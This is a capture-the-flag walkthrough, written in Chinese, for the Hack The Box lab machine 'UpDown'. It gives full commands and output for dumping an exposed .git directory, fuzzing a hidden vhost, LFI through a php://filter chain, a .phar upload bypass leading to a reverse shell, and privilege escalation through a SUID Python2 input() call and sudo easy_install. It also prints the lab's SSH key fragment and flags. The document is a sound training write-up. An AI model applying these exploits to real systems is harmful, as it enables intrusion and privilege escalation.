UpDown Writeup
靶機資訊
Machine | Description |
---|---|
Name | UpDown |
OS | Linux |
Difficulty | Medium |
Author | AB2 |
情蒐 Recon
服務掃描
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
| 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ sudo nmap -Pn -sCV -p- --min-rate 420 --script-args http.useragnet="Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5666.197 Safari/537.36"
10.129.154.251
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-03 21:49 EDT
Warning: 10.129.154.251 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.154.251
Host is up (0.14s latency).
Not shown: 65361 closed tcp ports (reset), 172 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
| 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Is my Website up ?
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 189.74 seconds
掃描結果顯示HTTP和SSH,那就先看看網站吧。
HTTP - Port 80

網站首頁下方顯示本站域名:「siteisup.htb
」,所以先把它加到/etc/hosts
裡面。
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ echo "10.129.154.251 siteisup.htb" | sudo tee -a /etc/hosts
[sudo] password for kali:
10.129.154.251 siteisup.htb
網站提供網頁監控測試,啟動debug模式試試看我方HTTP server。
目錄詳列

一邊目錄詳列一邊嘗試簡單的command injection,結果被防禦機制抓到,可以嘗試繞過檢查,但在這之前已經掃出/dev/.git
目錄,所以先把原始碼載下來吧。
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ feroxbuster -u http://siteisup.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content
/raft-large-words.txt --random-agent
…
301 GET 9l 28w 310c http://siteisup.htb/dev => http://siteisup.htb/dev
/
200 GET 40l 93w 1131c http://siteisup.htb/
200 GET 320l 675w 5531c http://siteisup.htb/stylesheet.css
200 GET 0l 0w 0c http://siteisup.htb/dev/
301 GET 9l 28w 315c http://siteisup.htb/dev/.git => http://siteisup.htb/dev/.git/
使用uv
1安裝git-dumper
2,然後下載標的的Git:
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ uv tool install git-dumper
…
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ git-dumper http://10.129.154.251/dev/.git dump
[-] Testing http://10.129.154.251/dev/.git/HEAD [200]
…
Git永遠記得你的秘密
在檢視Git專案原始碼之前,先檢查Git的紀錄,因為開發者有可能在不知情的情況下將機敏資訊提交至Git版本控制系統中。如果沒有發現任何有價值的資訊,再回頭檢查原始碼。
┌──(kali㉿kali)-[~/…/htb/machines/updown/dump]
└─$ git log
…
commit 354fe069f6205af09f26c99cfe2457dea3eb6a6c
Author: Abdou.Y <[email protected]>
Date: Wed Oct 20 17:28:48 2021 +0200
Delete .htpasswd
commit 8812785e31c879261050e72e20f298ae8c43b565
Author: Abdou.Y <[email protected]>
Date: Wed Oct 20 16:38:54 2021 +0200
New technique in header to protect our dev vhost.
commit bc4ba79e596e9fd98f1b2837b9bd3548d04fe7ab
Author: Abdou.Y <[email protected]>
Date: Wed Oct 20 16:37:20 2021 +0200
Update .htaccess
New technique in header to protect our dev vhost.
…
從提交(commit)紀錄中發現了有趣的線索:發現開發者Abdou.Y
曾經提交了.htpasswd
,隨後又將其刪除。然而,
即使刪除檔案,原始資料仍完整保存在Git的歷史紀錄中。除此之外,開發者還提到使用自訂header保護開發者專用的vHost,這類存取控管多半在.htaccess
中設定。
為什麼刪掉的檔案還在?
因為這是Git版本控制系統的核心功能,每一個commit都會建立完整的差異快照,就像遊戲的存檔點一樣, 讓你隨時都能回溯到任意存歷史狀態。因此,一旦提交資料到Git,它就會永久保存在專案歷史中, 這也意味著任何曾經被commit的敏感資訊都可能被恢復。
Dig up .htpasswd
!
┌──(kali㉿kali)-[~/…/htb/machines/updown/dump]
└─$ git show 354fe069f6205af09f26c99cfe2457dea3eb6a6c
commit 354fe069f6205af09f26c99cfe2457dea3eb6a6c
Author: Abdou.Y <[email protected]>
Date: Wed Oct 20 17:28:48 2021 +0200
Delete .htpasswd
diff --git a/.htpasswd b/.htpasswd
deleted file mode 100644
index 8b13789..0000000
--- a/.htpasswd
+++ /dev/null
@@ -1 +0,0 @@
-
好景不常,該檔案竟然是空的QQ
存取開發者vHost
什麼是Virtual Host(vHost)?
Virtual Host(虛擬主機)是一種讓單一HTTP伺服器能夠運行多個網站的技術。最常見的實踐方式是以子網域(subdomain)呈現,如:admin.nosuch.site
、myvhost.nosuch.site
。其他實踐方式還有:針對不同IP、Port來對應不同網站等。
既然取得.htpasswd
路線行不通,就轉向取得開發者vHost
吧!原始碼晚點再看。
在Apache中,vHost的設定檔位於/etc/apache2
下的site-enabled
和site-available
資料夾底下,尤其是site-enabled
,因為所有目前在運行的站點都會在這裡。但除非我們能夠任意讀取檔案(Path triversal、LFI),否則就只能用字典檔fuzzing了。
了解.htaccess
存取限制
從剛才的Git紀錄得知開發者vHost
受自訂header保護,於是檢視.htaccess
以了解其保護機制:
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
3-
此指令以正規表示式,但不分大小寫的方式檢查HTTP請求中
Special-Dev
的header之值是否為only4dev
。 如果符合條件,就設定一個名為Required-Header
的環境變數。 Order Deny,Allow
-
此指令設定存取限制順序。首先檢查
Deny
條件,再檢查Allow
條件。 Deny from All
-
預設拒絕所有連線。
Allow from env=Required-Header
-
允許具備
Required-Header
環境變數的連線通過(即包含正確header)。
簡而言之,.htaccess
限制所有連線必須包含Special-Dev: only4dev
的HTTP header才能存取該站點。
Fuzzing開發者vHost
了解存取限制後,在掃描時加入必要的header:
┌──(kali㉿kali)-[~/…/htb/machines/updown/dump]
└─$ ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -H "Special-Dev: only4dev" -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -fs 1131
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://siteisup.htb
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.siteisup.htb
:: Header : Special-Dev: only4dev
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1131
________________________________________________
dev [Status: 200, Size: 1220, Words: 204, Lines: 42, Duration: 54ms]
:: Progress: [151265/151265] :: Job [1/1] :: 763 req/sec :: Duration: [0:03:28] :: Errors: 0 ::
找到dev.siteisup.htb
!並加到/etc/hosts
中。
┌──(kali㉿kali)-[~/…/htb/machines/updown/dump]
└─$ cat /etc/hosts
127.0.0.1 localhost
…
10.129.154.251 siteisup.htb dev.siteisup.htb
成功取得開發者限定頁面!

關閉Firefox自動填充HTTPS
雖然Kali預設的Firefox已關閉HTTPS-Only模式,但這不代表Firefox就不優先採用HTTPS。如果你曾經透過HTTPS連線某個網站,即使你現在明確指定要以HTTP連線,Firefox仍然根據紀錄自動優先選擇HTTPS,超級很煩人,所以要關掉,以下是設定步驟:
- 在網址欄輸入
about:config
,並點擊「I’ll be careful, I promise!」,進入Firefox設定頁 - 輸入
browser.urlbar.autoFill
,並設值為False - 重新啟動Firefox
- Enjoy,沒有多此一舉的瀏覽器
BurpSuite自動注入Header
為了順利讀取頁面,設定BurpSuite自動注入Header:
PHP與那些花招
該Git專案結構如下:
不安全的include()
首先檢視index.php
檔案:
程式邏輯如下:
- 當開發者連線
dev.siteisup.htb
時,檢查是否挾帶page參數。 - 如果包含該參數,且通過黑名單過濾規則
!preg_match("/bin|usr|home|var|etc/i",$page)
, 就會將參數與".php"拼接成完整檔名,最後透過include()
載入該PHP檔案。 - 否則載入
checker.php
檔案。
例如:/index.php?page=admin
會載入admin.php
頁面。
嘗試執行遠端程式碼
include()
與其他函數類似函數,include_once()
、require()
、require_once()
,具有讀取並執行功能。如果伺服器開啟allow_url_include
設定,攻擊者就可以載入遠端PHP程式碼並執行。
Payload運作原理:
- 這段payload首先不會觸發黑名單。
-
執行到
include()
時變成: -
如果順利,目標伺服器會連線至攻擊方HTTP伺服器取得
payload.txt
檔案 %3f.php
(?.php
)被視為URL參數,達成截斷.php
目的,或是直接用payload.php
,就不用截斷了。

結果:失敗,也因此確定allow_url_include
已被關閉。
嘗試PHP的封裝協議
PHP的封裝協議(Wrapper)4,又稱「偽協議」,可與filesystem相關函數(基本上具有讀寫功能的函數)共同運用,也是CTF常見考點。 由於我目前的目標是取得Shell,就先嘗試php://
協議了。
php://filter
的運作原理
php://filter
5可以預先處理即將開啟的stream,同時過濾讀寫的協議格式如下:
Payload運作原理:
convert.base64-encode
是過濾器(filter),admin.php
是I/O stream。
當程式碼執行到include()
時變成:
程式執行流程:
- 讀入
admin.php
的內容。 - 透過
convert.base64-encode
過濾器進行base64編碼。 - 編碼的結果最後被include到
index.php
中顯示。
因此下圖才會顯示PD9waHAKI0VtcHR5IGZvciBub3cuCj8+
在網頁中。

結果:成功!T T
PHP Filter Chain
既然能夠執行php://filter
,就可以利用編碼/轉碼的過濾器,"構造"一段PHP程式碼。
這種技術稱作「PHP filter chain」6,其運作邏輯大致如下:
目標:生成文字「C」
-
- 生成字元:使用
convert.iconv.UTF8.CSISO2022KR
過濾器,因為它永遠會自動在字串(stream)前加上\x1b$)C
。 - 清除垃圾:
convert.base64-decode
自動移除非base64字元。 - 重新編碼:將剩下的資料再次encode回來,就在字串開頭取得字元
C
了!
- 生成字元:使用

其他技巧與解釋
convert.iconv.UTF8.UTF7
可消除=
- 記得倒序構造payload
resource
是stream的來源,可以是任意非空可讀檔案,或是php://temp
,因為必須提供字元,過濾器才能夠編碼。
因此利用該技巧,就可以湊出像是:<?php phpinfo(); ?>
的PHP程式碼,並被include()
執行! 但是自己手組太麻煩了,使用現成工具PHP Filter Chain Generator生產payload。
┌──(kali㉿kali)-[~/Documents/tools/php_filter_chain_generator]
└─$ python php_filter_chain_generator.py --chain '<?php phpinfo(); ?> '
[+] The following gadget chain will generate the following code : <?php phpinfo(); ?> (base64 value: PD9waHAgcGhwaW5mbygpOyA/PiAg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

攻擊成功!
為什麼不直接reverse shell?
因為URL的長度有限(Apache預設8190),組成payload的長度太長(HTTP/1.1 414 Request-URI Too Long
),所以放棄。
沒關閉的危險函數
既然取得PHP Info,就檢查有哪些可以執行命令的函數沒有被關閉:

結果發現proc_open()
沒有被禁用,因此透過此函數RCE。
檢查函數好麻煩喔!
你可以:
- 把
disalbe_functions
清單餵給AI,叫它檢查還有哪些可執行命令的函數。 - 用類似這樣的工具:PHP Dangerous Functions Checker。
- 用
weevely
產webshell,然後忘了這一小節。
不良的副檔名過濾機制
繼續檢查其他PHP檔案,發現check.php
具有上傳網站清單的功能。
程式邏輯如下:
- 確認大小檔案沒有超過上限後,先取得副檔名(
getExtension()
)。 - 黑名單過濾規則(
preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)
)檢查檔案副檔名。 - 上傳檔案到
uploads/<MD5_HASH>
資料夾下。 - 讀取清單內容,並測試所有網站是否存活。
- 測試完成後,刪除檔案。
惡意檔案上傳
原始程式的副檔名黑名單沒有過濾.phar
、.pht
(另一種PHP副檔名),外加.htaccess
沒有禁止PHP在uploads
下執行,
導致只要取得上傳惡意檔案的位置,就能任意執行程式碼。
首先上傳檔案測試,發現/uploads
直接表列其目錄,因此不需要推測MD5的結果,就可以找到上傳檔案的儲存位置。

但是沒有這麼簡單。
如果不能表列/uploads
怎麼辦?
根據原始碼,得知檔案最後的路徑是由uploads
與時間(Unix timestamp)的MD5組成,因此窮舉上傳前後約0.5秒的路徑即可。
繞過檔案刪除
光是能取得上傳還不夠,因為check.php
上傳檔案後,測完網站存活就立刻刪除檔案了!
因此,要不上傳超多不存在的網站,故意延長測試時間,在刪檔前執行;要不在$check=isitup($site)
觸發錯誤跳,在刪除前跳出函數。
NULL故意找碴
從剛在PHP Info裡面得知目前運行PHP 8.0,因此可利用NULL byte(\x00
)觸發ValueError錯誤,
使程式在curl_setopt()
跳出,也就不會刪除檔案了。
不信你試試
製造Phar Payload
經過測試.pht
沒用,.phar
可以。 Phar檔案本身是壓縮檔(zip, tar等),因此將惡意PHP壓縮成任意檔案就可以了。
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ zip Qq.jpg Qq.php
updating: Qq.php (deflated 2%)
zip
的過程會加入NULL byte。
將惡意檔案上傳。

再用phar://
讀取壓縮檔裡面的Qq.php
。

成功取得reverse shell!
內部情蒐
拿到reverse shell,但權限不足不能取得user.txt
QQ
pwd
/home/developer
ls -lhta
total 40K
-rw-r----- 1 root developer 33 Jun 4 01:36 user.txt
drwxr-xr-x 6 developer developer 4.0K Aug 30 2022 .
drwx------ 2 developer developer 4.0K Aug 30 2022 .cache
drwx------ 2 developer developer 4.0K Aug 2 2022 .ssh
drwxrwxr-x 3 developer developer 4.0K Aug 1 2022 .local
lrwxrwxrwx 1 root root 9 Jul 27 2022 .bash_history -> /dev/null
drwxr-xr-x 3 root root 4.0K Jun 22 2022 ..
-rw-r--r-- 1 developer developer 231 Jun 22 2022 .bash_logout
drwxr-x--- 2 developer www-data 4.0K Jun 22 2022 dev
-rw-r--r-- 1 developer developer 3.7K Feb 25 2020 .bashrc
-rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile
都是SUID的鍋
但目前可以讀取/dev
資料夾,資料夾裡有一個siteisup
程式和一份Python腳本,而且siteisup
被設定了SUID!
代表者任何人都可以以檔案擁有者執行siteisup
。
cd dev
ls -alht
total 32K
drwxr-xr-x 6 developer developer 4.0K Aug 30 2022 ..
drwxr-x--- 2 developer www-data 4.0K Jun 22 2022 .
-rwsr-x--- 1 developer www-data 17K Jun 22 2022 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.py
./siteisup
fjdaslfdajsfdas
Enter URL here:Welcome to 'siteisup.htb' application
<空白>
亂塞一堆垃圾給siteisup
,沒戲,大概是因為目前是dumb shell的緣故,看不到錯誤訊息,所以先用strings
分析一下字串。
strings siteisup
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
setresgid
setresuid
system
getegid
geteuid
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Welcome to 'siteisup.htb' application
/usr/bin/python /home/developer/dev/siteisup_test.py
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
…
發現siteisup
其實只是一個執行siteisup_test.py
的wrapper。
Python2的input()
很特別
分析siteisup_test.py
的內容,依據腳本的撰寫風格判斷應該是Python2。
Python2的input()
很特別,它會求值輸入的內容,不像Python3的input()
只把內容當作字串處理,
這導致攻擊者能透過該函數任意執行程式碼。
developer
與其SSH金鑰
利用Python2 input()
和SUID,順利提權成developer
,並幹走他的SSH金鑰。
./siteisup
__import__("os").system("/bin/bash")
id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
cd .ssh
ls
authorized_keys
id_rsa
id_rsa.pub
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmvB40TWM8eu0n6FOzixTA1pQ39SpwYyrYCjKrDtp8g5E05EEcJw/
…
ZSESqGN9EfOnUqvQa317rHnO3moDWTnYDbynVJuiQHlDaSCyf+uaZoCMINSG5IOC/4Sj0v
3zga8EzubgwnpU7r9hN2jWboCCIOeDtvXFv08KT8pFDCCA+sMa5uoWQlBqmsOWCLvtaOWe
N4jA+ppn1+3e0AAAASZGV2ZWxvcGVyQHNpdGVpc3VwAQ==
-----END OPENSSH PRIVATE KEY-----
然後就可以SSH了。
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ chmod 600 develop_id_rsa
┌──(kali㉿kali)-[~/…/ctf/htb/machines/updown]
└─$ env TERM=xterm-256color ssh -i develop_id_rsa [email protected]
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-122-generic x86_64)
…
Last login: Tue Aug 30 11:24:44 2022 from 10.10.14.36
developer@updown:~$ cat user.txt
e02b0d04bf202c9bb3ec0d8824530b1c
Get Root!
提權路徑很老套,首先執行sudo -l
以檢查有那些指令能夠以root
權限執行,
發現developer
不用密碼就使用easy_install
,於是參考GTFOBins的提權方式,
成功取得root
權限。
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.tyExJUX57r
Writing /tmp/tmp.tyExJUX57r/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.tyExJUX57r/egg-dist-tmp-0rGYwk
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
52be3bb9895b4e45f76ec1488d8d36fe
後記
如果當時直接上傳Qq.phar
,就不需要include()
載入,直接連它就可以觸發payload了。
-
下載整個Git的工具,作者警告該工具可能被惡意Git repository攻擊,導致工具在本機執行任意程式碼。 類似工具如GitHack。Maxime Arthaud -
git-dumper
↩ -
SetEnvIfNoCase
是mod_setenvif
模組中的一項設定指令,根據條件設定環境變數。 Apache - SetEnvIfNoCase Directive ↩ -
PHP內建的封裝協議,如:
php://
、phar://
、glob://
等,其實是將功能"包裝"成類似URL協議的形式。 PHP - Supported Protocols and Wrappers ↩ -
php://
協議包含各式I/O處理功能,filter
只是其中一種。 PHP -php://
↩ -
參考文件:Solving "includer's revenge" from hxp ctf 2021 without controlling any files - loknop和PHP filters chain: What is it and how to use it - Synacktiv。 ↩